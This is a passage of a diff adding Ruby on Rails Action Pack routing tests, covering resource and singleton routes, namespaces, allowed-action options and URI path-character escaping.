+    [:patch, :put, :post].each do |method|
+      with_routing do |set|
+        set.draw do
+          resource :account do
+            match :reset, on: :member, via: method
+            match :disable, on: :member, via: method
+          end
+        end
+
+        %w(reset disable).each do |action|
+          action_options = { action: action }
+          action_path    = "/account/#{action}"
+          assert_singleton_routes_for :account do |options|
+            assert_recognizes(options.merge(action_options), path: action_path, method: method)
+          end
+
+          assert_singleton_named_routes_for :account do
+            assert_named_route action_path, "#{action}_account_path".to_sym, action_options
+          end
+        end
+      end
+    end
+  end
+
+  def test_should_nest_resources_in_singleton_resource
+    with_routing do |set|
+      set.draw do
+        resource :account do
+          resources :messages
+        end
+      end
+
+      assert_singleton_restful_for :account
+      assert_simply_restful_for :messages, name_prefix: "account_", path_prefix: "account/"
+    end
+  end
+
+  def test_should_nest_resources_in_singleton_resource_with_path_scope
+    with_routing do |set|
+      set.draw do
+        scope ":site_id" do
+          resource(:account) do
+            resources :messages
+          end
+        end
+      end
+
+      assert_singleton_restful_for :account, path_prefix: "7/", options: { site_id: "7" }
+      assert_simply_restful_for :messages, name_prefix: "account_", path_prefix: "7/account/", options: { site_id: "7" }
+    end
+  end
+
+  def test_should_nest_singleton_resource_in_resources
+    with_routing do |set|
+      set.draw do
+        resources :threads do
+          resource :admin, controller: "admin"
+        end
+      end
+
+      assert_simply_restful_for :threads
+      assert_singleton_restful_for :admin, controller: "admin", name_prefix: "thread_", path_prefix: "threads/5/", options: { thread_id: "5" }
+    end
+  end
+
+  def test_should_not_allow_delete_or_patch_or_put_on_collection_path
+    controller_name = :messages
+    with_restful_routing controller_name do
+      options = { controller: controller_name.to_s }
+      collection_path = "/#{controller_name}"
+
+      assert_raise(Assertion) do
+        assert_recognizes(options.merge(action: "update"), path: collection_path, method: :patch)
+      end
+
+      assert_raise(Assertion) do
+        assert_recognizes(options.merge(action: "update"), path: collection_path, method: :put)
+      end
+
+      assert_raise(Assertion) do
+        assert_recognizes(options.merge(action: "destroy"), path: collection_path, method: :delete)
+      end
+    end
+  end
+
+  def test_new_style_named_routes_for_resource
+    with_routing do |set|
+      set.draw do
+        scope "/threads/:thread_id" do
+          resources :messages, as: "thread_messages" do
+            get :search, on: :collection
+            get :preview, on: :new
+          end
+        end
+      end
+
+      assert_simply_restful_for :messages, name_prefix: "thread_", path_prefix: "threads/1/", options: { thread_id: "1" }
+      assert_named_route "/threads/1/messages/search", "search_thread_messages_path", {}
+      assert_named_route "/threads/1/messages/new", "new_thread_message_path", {}
+      assert_named_route "/threads/1/messages/new/preview", "preview_new_thread_message_path", {}
+    end
+  end
+
+  def test_new_style_named_routes_for_singleton_resource
+    with_routing do |set|
+      set.draw do
+        scope "/admin" do
+          resource :account, as: :admin_account do
+            get :login, on: :member
+            get :preview, on: :new
+          end
+        end
+      end
+      assert_singleton_restful_for :account, name_prefix: "admin_", path_prefix: "admin/"
+      assert_named_route "/admin/account/login", "login_admin_account_path", {}
+      assert_named_route "/admin/account/new", "new_admin_account_path", {}
+      assert_named_route "/admin/account/new/preview", "preview_new_admin_account_path", {}
+    end
+  end
+
+  def test_resources_in_namespace
+    with_routing do |set|
+      set.draw do
+        namespace :backoffice do
+          resources :products
+        end
+      end
+
+      assert_simply_restful_for :products, controller: "backoffice/products", name_prefix: "backoffice_", path_prefix: "backoffice/"
+    end
+  end
+
+  def test_resources_in_nested_namespace
+    with_routing do |set|
+      set.draw do
+        namespace :backoffice do
+          namespace :admin do
+            resources :products
+          end
+        end
+      end
+
+      assert_simply_restful_for :products, controller: "backoffice/admin/products", name_prefix: "backoffice_admin_", path_prefix: "backoffice/admin/"
+    end
+  end
+
+  def test_resources_using_namespace
+    with_routing do |set|
+      set.draw do
+        namespace :backoffice, path: nil, as: nil do
+          resources :products
+        end
+      end
+
+      assert_simply_restful_for :products, controller: "backoffice/products"
+    end
+  end
+
+  def test_nested_resources_using_namespace
+    with_routing do |set|
+      set.draw do
+        namespace :backoffice do
+          resources :products do
+            resources :images
+          end
+        end
+      end
+
+      assert_simply_restful_for :images, controller: "backoffice/images", name_prefix: "backoffice_product_", path_prefix: "backoffice/products/1/", options: { product_id: "1" }
+    end
+  end
+
+  def test_nested_resources_in_nested_namespace
+    with_routing do |set|
+      set.draw do
+        namespace :backoffice do
+          namespace :admin do
+            resources :products do
+              resources :images
+            end
+          end
+        end
+      end
+
+      assert_simply_restful_for :images, controller: "backoffice/admin/images", name_prefix: "backoffice_admin_product_", path_prefix: "backoffice/admin/products/1/", options: { product_id: "1" }
+    end
+  end
+
+  def test_with_path_segment
+    with_restful_routing :messages do
+      assert_simply_restful_for :messages
+      assert_recognizes({ controller: "messages", action: "index" }, "/messages")
+      assert_recognizes({ controller: "messages", action: "index" }, "/messages/")
+    end
+
+    with_routing do |set|
+      set.draw do
+        resources :messages, path: "reviews"
+      end
+      assert_simply_restful_for :messages, as: "reviews"
+      assert_recognizes({ controller: "messages", action: "index" }, "/reviews")
+      assert_recognizes({ controller: "messages", action: "index" }, "/reviews/")
+    end
+  end
+
+  def test_multiple_with_path_segment_and_controller
+    with_routing do |set|
+      set.draw do
+        resources :products do
+           resources :product_reviews, path: "reviews", controller: "messages"
+         end
+        resources :tutors do
+           resources :tutor_reviews, path: "reviews", controller: "comments"
+         end
+      end
+
+      assert_simply_restful_for :product_reviews, controller: "messages", as: "reviews", name_prefix: "product_", path_prefix: "products/1/", options: { product_id: "1" }
+      assert_simply_restful_for :tutor_reviews, controller: "comments", as: "reviews", name_prefix: "tutor_", path_prefix: "tutors/1/", options: { tutor_id: "1" }
+    end
+  end
+
+  def test_with_path_segment_path_prefix_constraints
+    expected_options = { controller: "messages", action: "show", thread_id: "1.1.1", id: "1" }
+    with_routing do |set|
+      set.draw do
+        scope "/thread/:thread_id", constraints: { thread_id: /[0-9]\.[0-9]\.[0-9]/ } do
+          resources :messages, path: "comments"
+        end
+      end
+      assert_recognizes(expected_options, path: "thread/1.1.1/comments/1", method: :get)
+    end
+  end
+
+  def test_resource_has_only_show_action
+    with_routing do |set|
+      set.draw do
+        resources :products, only: :show
+      end
+
+      assert_resource_allowed_routes("products", {},                    { id: "1" }, :show, [:index, :new, :create, :edit, :update, :destroy])
+      assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, :show, [:index, :new, :create, :edit, :update, :destroy])
+    end
+  end
+
+  def test_singleton_resource_has_only_show_action
+    with_routing do |set|
+      set.draw do
+        resource :account, only: :show
+      end
+
+      assert_singleton_resource_allowed_routes("accounts", {},                    :show, [:index, :new, :create, :edit, :update, :destroy])
+      assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  :show, [:index, :new, :create, :edit, :update, :destroy])
+    end
+  end
+
+  def test_resource_does_not_have_destroy_action
+    with_routing do |set|
+      set.draw do
+        resources :products, except: :destroy
+      end
+
+      assert_resource_allowed_routes("products", {},                    { id: "1" }, [:index, :new, :create, :show, :edit, :update], :destroy)
+      assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, [:index, :new, :create, :show, :edit, :update], :destroy)
+    end
+  end
+
+  def test_singleton_resource_does_not_have_destroy_action
+    with_routing do |set|
+      set.draw do
+        resource :account, except: :destroy
+      end
+
+      assert_singleton_resource_allowed_routes("accounts", {},                    [:new, :create, :show, :edit, :update], :destroy)
+      assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  [:new, :create, :show, :edit, :update], :destroy)
+    end
+  end
+
+  def test_resource_has_only_create_action_and_named_route
+    with_routing do |set|
+      set.draw do
+        resources :products, only: :create
+      end
+
+      assert_resource_allowed_routes("products", {},                    { id: "1" }, :create, [:index, :new, :show, :edit, :update, :destroy])
+      assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, :create, [:index, :new, :show, :edit, :update, :destroy])
+
+      assert_not_nil set.named_routes[:products]
+    end
+  end
+
+  def test_resource_has_only_update_action_and_named_route
+    with_routing do |set|
+      set.draw do
+        resources :products, only: :update
+      end
+
+      assert_resource_allowed_routes("products", {},                    { id: "1" }, :update, [:index, :new, :create, :show, :edit, :destroy])
+      assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, :update, [:index, :new, :create, :show, :edit, :destroy])
+
+      assert_not_nil set.named_routes[:product]
+    end
+  end
+
+  def test_resource_has_only_destroy_action_and_named_route
+    with_routing do |set|
+      set.draw do
+        resources :products, only: :destroy
+      end
+
+      assert_resource_allowed_routes("products", {},                    { id: "1" }, :destroy, [:index, :new, :create, :show, :edit, :update])
+      assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, :destroy, [:index, :new, :create, :show, :edit, :update])
+
+      assert_not_nil set.named_routes[:product]
+    end
+  end
+
+  def test_singleton_resource_has_only_create_action_and_named_route
+    with_routing do |set|
+      set.draw do
+        resource :account, only: :create
+      end
+
+      assert_singleton_resource_allowed_routes("accounts", {},                    :create, [:new, :show, :edit, :update, :destroy])
+      assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  :create, [:new, :show, :edit, :update, :destroy])
+
+      assert_not_nil set.named_routes[:account]
+    end
+  end
+
+  def test_singleton_resource_has_only_update_action_and_named_route
+    with_routing do |set|
+      set.draw do
+        resource :account, only: :update
+      end
+
+      assert_singleton_resource_allowed_routes("accounts", {},                    :update, [:new, :create, :show, :edit, :destroy])
+      assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  :update, [:new, :create, :show, :edit, :destroy])
+
+      assert_not_nil set.named_routes[:account]
+    end
+  end
+
+  def test_singleton_resource_has_only_destroy_action_and_named_route
+    with_routing do |set|
+      set.draw do
+        resource :account, only: :destroy
+      end
+
+      assert_singleton_resource_allowed_routes("accounts", {},                    :destroy, [:new, :create, :show, :edit, :update])
+      assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  :destroy, [:new, :create, :show, :edit, :update])
+
+      assert_not_nil set.named_routes[:account]
+    end
+  end
+
+  def test_resource_has_only_collection_action
+    with_routing do |set|
+      set.draw do
+        resources :products, only: [] do
+          get :sale, on: :collection
+        end
+      end
+
+      assert_resource_allowed_routes("products", {},                    { id: "1" }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+      assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+
+      assert_recognizes({ controller: "products", action: "sale" },                   path: "products/sale",     method: :get)
+      assert_recognizes({ controller: "products", action: "sale", format: "xml" }, path: "products/sale.xml", method: :get)
+    end
+  end
+
+  def test_resource_has_only_member_action
+    with_routing do |set|
+      set.draw do
+        resources :products, only: [] do
+          get :preview, on: :member
+        end
+      end
+
+      assert_resource_allowed_routes("products", {},                    { id: "1" }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+      assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+
+      assert_recognizes({ controller: "products", action: "preview", id: "1" },                    path: "products/1/preview",      method: :get)
+      assert_recognizes({ controller: "products", action: "preview", id: "1", format: "xml" },  path: "products/1/preview.xml",  method: :get)
+    end
+  end
+
+  def test_singleton_resource_has_only_member_action
+    with_routing do |set|
+      set.draw do
+        resource :account, only: [] do
+          member do
+            get :signup
+          end
+        end
+      end
+
+      assert_singleton_resource_allowed_routes("accounts", {},                    [], [:new, :create, :show, :edit, :update, :destroy])
+      assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  [], [:new, :create, :show, :edit, :update, :destroy])
+
+      assert_recognizes({ controller: "accounts", action: "signup" },                   path: "account/signup",      method: :get)
+      assert_recognizes({ controller: "accounts", action: "signup", format: "xml" }, path: "account/signup.xml",  method: :get)
+    end
+  end
+
+  def test_nested_resource_has_only_show_and_member_action
+    with_routing do |set|
+      set.draw do
+        resources :products, only: [:index, :show] do
+          resources :images, only: :show do
+            get :thumbnail, on: :member
+          end
+        end
+      end
+
+      assert_resource_allowed_routes("images", { product_id: "1" },                    { id: "2" }, :show, [:index, :new, :create, :edit, :update, :destroy], "products/1/images")
+      assert_resource_allowed_routes("images", { product_id: "1", format: "xml" },  { id: "2" }, :show, [:index, :new, :create, :edit, :update, :destroy], "products/1/images")
+
+      assert_recognizes({ controller: "images", action: "thumbnail", product_id: "1", id: "2" },                    path: "products/1/images/2/thumbnail", method: :get)
+      assert_recognizes({ controller: "images", action: "thumbnail", product_id: "1", id: "2", format: "jpg" },  path: "products/1/images/2/thumbnail.jpg", method: :get)
+    end
+  end
+
+  def test_nested_resource_does_not_inherit_only_option
+    with_routing do |set|
+      set.draw do
+        resources :products, only: :show do
+          resources :images, except: :destroy
+        end
+      end
+
+      assert_resource_allowed_routes("images", { product_id: "1" },                    { id: "2" }, [:index, :new, :create, :show, :edit, :update], :destroy, "products/1/images")
+      assert_resource_allowed_routes("images", { product_id: "1", format: "xml" },  { id: "2" }, [:index, :new, :create, :show, :edit, :update], :destroy, "products/1/images")
+    end
+  end
+
+  def test_nested_resource_does_not_inherit_only_option_by_default
+    with_routing do |set|
+      set.draw do
+        resources :products, only: :show do
+          resources :images
+        end
+      end
+
+      assert_resource_allowed_routes("images", { product_id: "1" },                    { id: "2" }, [:index, :new, :create, :show, :edit, :update, :destroy], [], "products/1/images")
+      assert_resource_allowed_routes("images", { product_id: "1", format: "xml" },  { id: "2" }, [:index, :new, :create, :show, :edit, :update, :destroy], [], "products/1/images")
+    end
+  end
+
+  def test_nested_resource_does_not_inherit_except_option
+    with_routing do |set|
+      set.draw do
+        resources :products, except: :show do
+          resources :images, only: :destroy
+        end
+      end
+
+      assert_resource_allowed_routes("images", { product_id: "1" },                    { id: "2" }, :destroy, [:index, :new, :create, :show, :edit, :update], "products/1/images")
+      assert_resource_allowed_routes("images", { product_id: "1", format: "xml" },  { id: "2" }, :destroy, [:index, :new, :create, :show, :edit, :update], "products/1/images")
+    end
+  end
+
+  def test_nested_resource_does_not_inherit_except_option_by_default
+    with_routing do |set|
+      set.draw do
+        resources :products, except: :show do
+          resources :images
+        end
+      end
+
+      assert_resource_allowed_routes("images", { product_id: "1" },                    { id: "2" }, [:index, :new, :create, :show, :edit, :update, :destroy], [], "products/1/images")
+      assert_resource_allowed_routes("images", { product_id: "1", format: "xml" },  { id: "2" }, [:index, :new, :create, :show, :edit, :update, :destroy], [], "products/1/images")
+    end
+  end
+
+  def test_default_singleton_restful_route_uses_get
+    with_routing do |set|
+      set.draw do
+        resource :product
+      end
+
+      assert_routing "/product", controller: "products", action: "show"
+      assert set.recognize_path("/product", method: :get)
+    end
+  end
+
+  def test_assert_routing_accepts_all_as_a_valid_method
+    with_routing do |set|
+      set.draw do
+        match "/products", to: "products#show", via: :all
+      end
+
+      assert_routing({ method: "all", path: "/products" }, controller: "products", action: "show")
+    end
+  end
+
+  def test_assert_routing_fails_when_not_all_http_methods_are_recognized
+    with_routing do |set|
+      set.draw do
+        match "/products", to: "products#show", via: [:get, :post, :put]
+      end
+
+      assert_raises(Minitest::Assertion) do
+        assert_routing({ method: "all", path: "/products" }, controller: "products", action: "show")
+      end
+    end
+  end
+
+  def test_singleton_resource_name_is_not_singularized
+    with_singleton_resources(:products) do
+      assert_singleton_restful_for :products
+    end
+  end
+
+  private
+    def with_restful_routing(*args)
+      options = args.extract_options!
+      collection_methods = options.delete(:collection)
+      member_methods = options.delete(:member)
+      path_prefix = options.delete(:path_prefix)
+      args.push(options)
+
+      with_routing do |set|
+        set.draw do
+          scope(path_prefix || "") do
+            resources(*args) do
+              if collection_methods
+                collection do
+                  collection_methods.each do |name, method|
+                    send(method, name)
+                  end
+                end
+              end
+
+              if member_methods
+                member do
+                  member_methods.each do |name, method|
+                    send(method, name)
+                  end
+                end
+              end
+            end
+          end
+        end
+        yield
+      end
+    end
+
+    def with_singleton_resources(*args)
+      with_routing do |set|
+        set.draw { resource(*args) }
+        yield
+      end
+    end
+
+    # runs assert_restful_routes_for and assert_restful_named_routes for on the controller_name and options, without passing a block.
+    def assert_simply_restful_for(controller_name, options = {})
+      assert_restful_routes_for       controller_name, options
+      assert_restful_named_routes_for controller_name, nil, options
+    end
+
+    def assert_singleton_restful_for(singleton_name, options = {})
+      assert_singleton_routes_for       singleton_name, options
+      assert_singleton_named_routes_for singleton_name, options
+    end
+
+    def assert_restful_routes_for(controller_name, options = {})
+      route_options = (options[:options] ||= {}).dup
+      route_options[:controller] = options[:controller] || controller_name.to_s
+
+      if options[:shallow]
+        options[:shallow_options] ||= {}
+        options[:shallow_options][:controller] = route_options[:controller]
+      else
+        options[:shallow_options] = route_options
+      end
+
+      new_action    = @routes.resources_path_names[:new] || "new"
+      edit_action   = @routes.resources_path_names[:edit] || "edit"
+
+      if options[:path_names]
+        new_action  = options[:path_names][:new] if options[:path_names][:new]
+        edit_action = options[:path_names][:edit] if options[:path_names][:edit]
+      end
+
+      path                       = "#{options[:as] || controller_name}"
+      collection_path            = "/#{options[:path_prefix]}#{path}"
+      shallow_path               = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
+      member_path                = "#{shallow_path}/1"
+      new_path                   = "#{collection_path}/#{new_action}"
+      edit_member_path           = "#{member_path}/#{edit_action}"
+      formatted_edit_member_path = "#{member_path}/#{edit_action}.xml"
+
+      with_options(route_options) do |controller|
+        controller.assert_routing collection_path,            action: "index"
+        controller.assert_routing new_path,                   action: "new"
+        controller.assert_routing "#{collection_path}.xml",   action: "index",            format: "xml"
+        controller.assert_routing "#{new_path}.xml",          action: "new",              format: "xml"
+      end
+
+      with_options(options[:shallow_options]) do |controller|
+        controller.assert_routing member_path,                action: "show", id: "1"
+        controller.assert_routing edit_member_path,           action: "edit", id: "1"
+        controller.assert_routing "#{member_path}.xml",       action: "show", id: "1", format: "xml"
+        controller.assert_routing formatted_edit_member_path, action: "edit", id: "1", format: "xml"
+      end
+
+      assert_recognizes(route_options.merge(action: "index"),               path: collection_path,  method: :get)
+      assert_recognizes(route_options.merge(action: "new"),                 path: new_path,         method: :get)
+      assert_recognizes(route_options.merge(action: "create"),              path: collection_path,  method: :post)
+      assert_recognizes(options[:shallow_options].merge(action: "show",    id: "1"), path: member_path,      method: :get)
+      assert_recognizes(options[:shallow_options].merge(action: "edit",    id: "1"), path: edit_member_path, method: :get)
+      assert_recognizes(options[:shallow_options].merge(action: "update",  id: "1"), path: member_path,      method: :put)
+      assert_recognizes(options[:shallow_options].merge(action: "destroy", id: "1"), path: member_path,      method: :delete)
+
+      assert_recognizes(route_options.merge(action: "index",  format: "xml"), path: "#{collection_path}.xml",   method: :get)
+      assert_recognizes(route_options.merge(action: "new",    format: "xml"), path: "#{new_path}.xml",          method: :get)
+      assert_recognizes(route_options.merge(action: "create", format: "xml"), path: "#{collection_path}.xml",   method: :post)
+      assert_recognizes(options[:shallow_options].merge(action: "show",    id: "1", format: "xml"), path: "#{member_path}.xml",       method: :get)
+      assert_recognizes(options[:shallow_options].merge(action: "edit",    id: "1", format: "xml"), path: formatted_edit_member_path, method: :get)
+      assert_recognizes(options[:shallow_options].merge(action: "update",  id: "1", format: "xml"), path: "#{member_path}.xml",       method: :put)
+      assert_recognizes(options[:shallow_options].merge(action: "destroy", id: "1", format: "xml"), path: "#{member_path}.xml",       method: :delete)
+
+      yield route_options if block_given?
+    end
+
+    # test named routes like foo_path and foos_path map to the correct options.
+    def assert_restful_named_routes_for(controller_name, singular_name = nil, options = {})
+      if singular_name.is_a?(Hash)
+        options       = singular_name
+        singular_name = nil
+      end
+      singular_name ||= controller_name.to_s.singularize
+
+      route_options = (options[:options] ||= {}).dup
+      route_options[:controller] = options[:controller] || controller_name.to_s
+
+      if options[:shallow]
+        options[:shallow_options] ||= {}
+        options[:shallow_options][:controller] = route_options[:controller]
+      else
+        options[:shallow_options] = route_options
+      end
+
+      @controller = "#{route_options[:controller].camelize}Controller".constantize.new
+      @controller.singleton_class.include(@routes.url_helpers)
+      get :index, params: route_options
+      route_options.delete :action
+
+      path = "#{options[:as] || controller_name}"
+      shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
+      full_path = "/#{options[:path_prefix]}#{path}"
+      name_prefix = options[:name_prefix]
+      shallow_prefix = options[:shallow] ? options[:namespace].try(:gsub, /\//, "_") : options[:name_prefix]
+
+      new_action  = "new"
+      edit_action = "edit"
+      if options[:path_names]
+        new_action  = options[:path_names][:new]  || "new"
+        edit_action = options[:path_names][:edit] || "edit"
+      end
+
+      assert_named_route "#{full_path}", "#{name_prefix}#{controller_name}_path", route_options
+      assert_named_route "#{full_path}.xml", "#{name_prefix}#{controller_name}_path", route_options.merge(format: "xml")
+      assert_named_route "#{shallow_path}/1", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(id: "1")
+      assert_named_route "#{shallow_path}/1.xml", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(id: "1", format: "xml")
+
+      assert_named_route "#{full_path}/#{new_action}", "new_#{name_prefix}#{singular_name}_path", route_options
+      assert_named_route "#{full_path}/#{new_action}.xml", "new_#{name_prefix}#{singular_name}_path", route_options.merge(format: "xml")
+      assert_named_route "#{shallow_path}/1/#{edit_action}", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(id: "1")
+      assert_named_route "#{shallow_path}/1/#{edit_action}.xml", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(id: "1", format: "xml")
+
+      yield route_options if block_given?
+    end
+
+    def assert_singleton_routes_for(singleton_name, options = {})
+      route_options = (options[:options] ||= {}).dup
+      route_options[:controller] = options[:controller] || singleton_name.to_s.pluralize
+
+      full_path           = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
+      new_path            = "#{full_path}/new"
+      edit_path           = "#{full_path}/edit"
+      formatted_edit_path = "#{full_path}/edit.xml"
+
+      with_options route_options do |controller|
+        controller.assert_routing full_path,           action: "show"
+        controller.assert_routing new_path,            action: "new"
+        controller.assert_routing edit_path,           action: "edit"
+        controller.assert_routing "#{full_path}.xml",  action: "show", format: "xml"
+        controller.assert_routing "#{new_path}.xml",   action: "new",  format: "xml"
+        controller.assert_routing formatted_edit_path, action: "edit", format: "xml"
+      end
+
+      assert_recognizes(route_options.merge(action: "show"),    path: full_path, method: :get)
+      assert_recognizes(route_options.merge(action: "new"),     path: new_path,  method: :get)
+      assert_recognizes(route_options.merge(action: "edit"),    path: edit_path, method: :get)
+      assert_recognizes(route_options.merge(action: "create"),  path: full_path, method: :post)
+      assert_recognizes(route_options.merge(action: "update"),  path: full_path, method: :put)
+      assert_recognizes(route_options.merge(action: "destroy"), path: full_path, method: :delete)
+
+      assert_recognizes(route_options.merge(action: "show",    format: "xml"), path: "#{full_path}.xml",  method: :get)
+      assert_recognizes(route_options.merge(action: "new",     format: "xml"), path: "#{new_path}.xml",   method: :get)
+      assert_recognizes(route_options.merge(action: "edit",    format: "xml"), path: formatted_edit_path, method: :get)
+      assert_recognizes(route_options.merge(action: "create",  format: "xml"), path: "#{full_path}.xml",  method: :post)
+      assert_recognizes(route_options.merge(action: "update",  format: "xml"), path: "#{full_path}.xml",  method: :put)
+      assert_recognizes(route_options.merge(action: "destroy", format: "xml"), path: "#{full_path}.xml",  method: :delete)
+
+      yield route_options if block_given?
+    end
+
+    def assert_singleton_named_routes_for(singleton_name, options = {})
+      route_options = (options[:options] ||= {}).dup
+      controller_name = route_options[:controller] || options[:controller] || singleton_name.to_s.pluralize
+      @controller = "#{controller_name.camelize}Controller".constantize.new
+      @controller.singleton_class.include(@routes.url_helpers)
+      get :show, params: route_options
+      route_options.delete :action
+
+      full_path = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
+      name_prefix = options[:name_prefix]
+
+      assert_named_route "#{full_path}",          "#{name_prefix}#{singleton_name}_path",                route_options
+      assert_named_route "#{full_path}.xml",      "#{name_prefix}#{singleton_name}_path",      route_options.merge(format: "xml")
+
+      assert_named_route "#{full_path}/new",      "new_#{name_prefix}#{singleton_name}_path",            route_options
+      assert_named_route "#{full_path}/new.xml",  "new_#{name_prefix}#{singleton_name}_path",  route_options.merge(format: "xml")
+      assert_named_route "#{full_path}/edit",     "edit_#{name_prefix}#{singleton_name}_path",           route_options
+      assert_named_route "#{full_path}/edit.xml", "edit_#{name_prefix}#{singleton_name}_path", route_options.merge(format: "xml")
+    end
+
+    def assert_named_route(expected, route, options)
+      actual = @controller.send(route, options) rescue $!.class.name
+      assert_equal expected, actual, "Error on route: #{route}(#{options.inspect})"
+    end
+
+    def assert_resource_methods(expected, resource, action_method, method)
+      assert_equal expected.length, resource.send("#{action_method}_methods")[method].size, "#{resource.send("#{action_method}_methods")[method].inspect}"
+      expected.each do |action|
+        assert_includes resource.send("#{action_method}_methods")[method], action,
+          "#{method} not in #{action_method} methods: #{resource.send("#{action_method}_methods")[method].inspect}"
+      end
+    end
+
+    def assert_resource_allowed_routes(controller, options, shallow_options, allowed, not_allowed, path = controller)
+      shallow_path = "#{path}/#{shallow_options[:id]}"
+      format = options[:format] && ".#{options[:format]}"
+      options.merge!(controller: controller)
+      shallow_options.merge!(options)
+
+      assert_whether_allowed(allowed, not_allowed, options,         "index",    "#{path}#{format}",               :get)
+      assert_whether_allowed(allowed, not_allowed, options,         "new",      "#{path}/new#{format}",           :get)
+      assert_whether_allowed(allowed, not_allowed, options,         "create",   "#{path}#{format}",               :post)
+      assert_whether_allowed(allowed, not_allowed, shallow_options, "show",     "#{shallow_path}#{format}",       :get)
+      assert_whether_allowed(allowed, not_allowed, shallow_options, "edit",     "#{shallow_path}/edit#{format}",  :get)
+      assert_whether_allowed(allowed, not_allowed, shallow_options, "update",   "#{shallow_path}#{format}",       :put)
+      assert_whether_allowed(allowed, not_allowed, shallow_options, "destroy",  "#{shallow_path}#{format}",       :delete)
+    end
+
+    def assert_singleton_resource_allowed_routes(controller, options, allowed, not_allowed, path = controller.singularize)
+      format = options[:format] && ".#{options[:format]}"
+      options.merge!(controller: controller)
+
+      assert_whether_allowed(allowed, not_allowed, options, "new",      "#{path}/new#{format}",   :get)
+      assert_whether_allowed(allowed, not_allowed, options, "create",   "#{path}#{format}",       :post)
+      assert_whether_allowed(allowed, not_allowed, options, "show",     "#{path}#{format}",       :get)
+      assert_whether_allowed(allowed, not_allowed, options, "edit",     "#{path}/edit#{format}",  :get)
+      assert_whether_allowed(allowed, not_allowed, options, "update",   "#{path}#{format}",       :put)
+      assert_whether_allowed(allowed, not_allowed, options, "destroy",  "#{path}#{format}",       :delete)
+    end
+
+    def assert_whether_allowed(allowed, not_allowed, options, action, path, method)
+      action = action.to_sym
+      options = options.merge(action: action.to_s)
+      path_options = { path: path, method: method }
+
+      if Array(allowed).include?(action)
+        assert_recognizes options, path_options
+      elsif Array(not_allowed).include?(action)
+        assert_not_recognizes options, path_options
+      else
+        raise Assertion, "Invalid Action has passed"
+      end
+    end
+
+    def assert_not_recognizes(expected_options, path)
+      assert_raise Assertion do
+        assert_recognizes(expected_options, path)
+      end
+    end
+end
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
new file mode 100644
index 0000000000..fefb84e095
--- /dev/null
+++ b/actionpack/test/controller/routing_test.rb
@@ -0,0 +1,2092 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_controllers"
+require "active_support/core_ext/object/with_options"
+require "active_support/core_ext/object/json"
+
+class MilestonesController < ActionController::Base
+  def index() head :ok end
+  alias_method :show, :index
+end
+
+# See RFC 3986, section 3.3 for allowed path characters.
+class UriReservedCharactersRoutingTest < ActiveSupport::TestCase
+  include RoutingTestHelpers
+
+  def setup
+    @set = ActionDispatch::Routing::RouteSet.new
+    @set.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller/:action/:variable/*additional"
+      end
+    end
+
+    safe, unsafe = %w(: @ & = + $ , ;), %w(^ ? # [ ])
+    hex = unsafe.map { |char| "%" + char.unpack("H2").first.upcase }
+
+    @segment = "#{safe.join}#{unsafe.join}".freeze
+    @escaped = "#{safe.join}#{hex.join}".freeze
+  end
+
+  def test_route_generation_escapes_unsafe_path_characters
+    assert_equal "/content/act#{@escaped}ion/var#{@escaped}iable/add#{@escaped}itional-1/add#{@escaped}itional-2",
+      url_for(@set,
+        controller: "content",
+        action: "act#{@segment}ion",
+        variable: "var#{@segment}iable",
+        additional: ["add#{@segment}itional-1", "add#{@segment}itional-2"])
+  end
+
+  def test_route_recognition_unescapes_path_components
+    options = { controller: "content",
+                action: "act#{@segment}ion",
+                variable: "var#{@segment}iable",
+                additional: "add#{@segment}itional-1/add#{@segment}itional-2" }
+    assert_equal options, @set.recognize_path("/content/act#{@escaped}ion/var#{@escaped}iable/add#{@escaped}itional-1/add#{@escaped}itional-2")
+  end
+
+  def test_route_generation_allows_passing_non_string_values_to_generated_helper
+    assert_equal "/content/action/variable/1/2",
+      url_for(@set,
+        controller: "content",
+        action: "action",
+        variable: "variable",
+        additional: [1, 2])
+  end
+end
+
+class MockController
+  def self.build(helpers, additional_options = {})
+    Class.new do
+      define_method :url_options do
+        options = super()
+        options[:protocol] ||= "http"
+        options[:host] ||= "test.host"
+        options.merge(additional_options)
+      end
+
+      include helpers
+    end
+  end
+end
+
+class LegacyRouteSetTests < ActiveSupport::TestCase
+  include RoutingTestHelpers
+  include ActionDispatch::RoutingVerbs
+
+  attr_reader :rs
+  attr_accessor :controller
+  alias :routes :rs
+
+  def setup
+    @rs = make_set
+    @response = nil
+  end
+
+  def test_symbols_with_dashes
+    rs.draw do
+      get "/:artist/:song-omg", to: lambda { |env|
+        resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = ActiveSupport::JSON.decode get(URI("http://example.org/journey/faithfully-omg"))
+    assert_equal({ "artist" => "journey", "song" => "faithfully" }, hash)
+  end
+
+  def test_id_with_dash
+    rs.draw do
+      get "/journey/:id", to: lambda { |env|
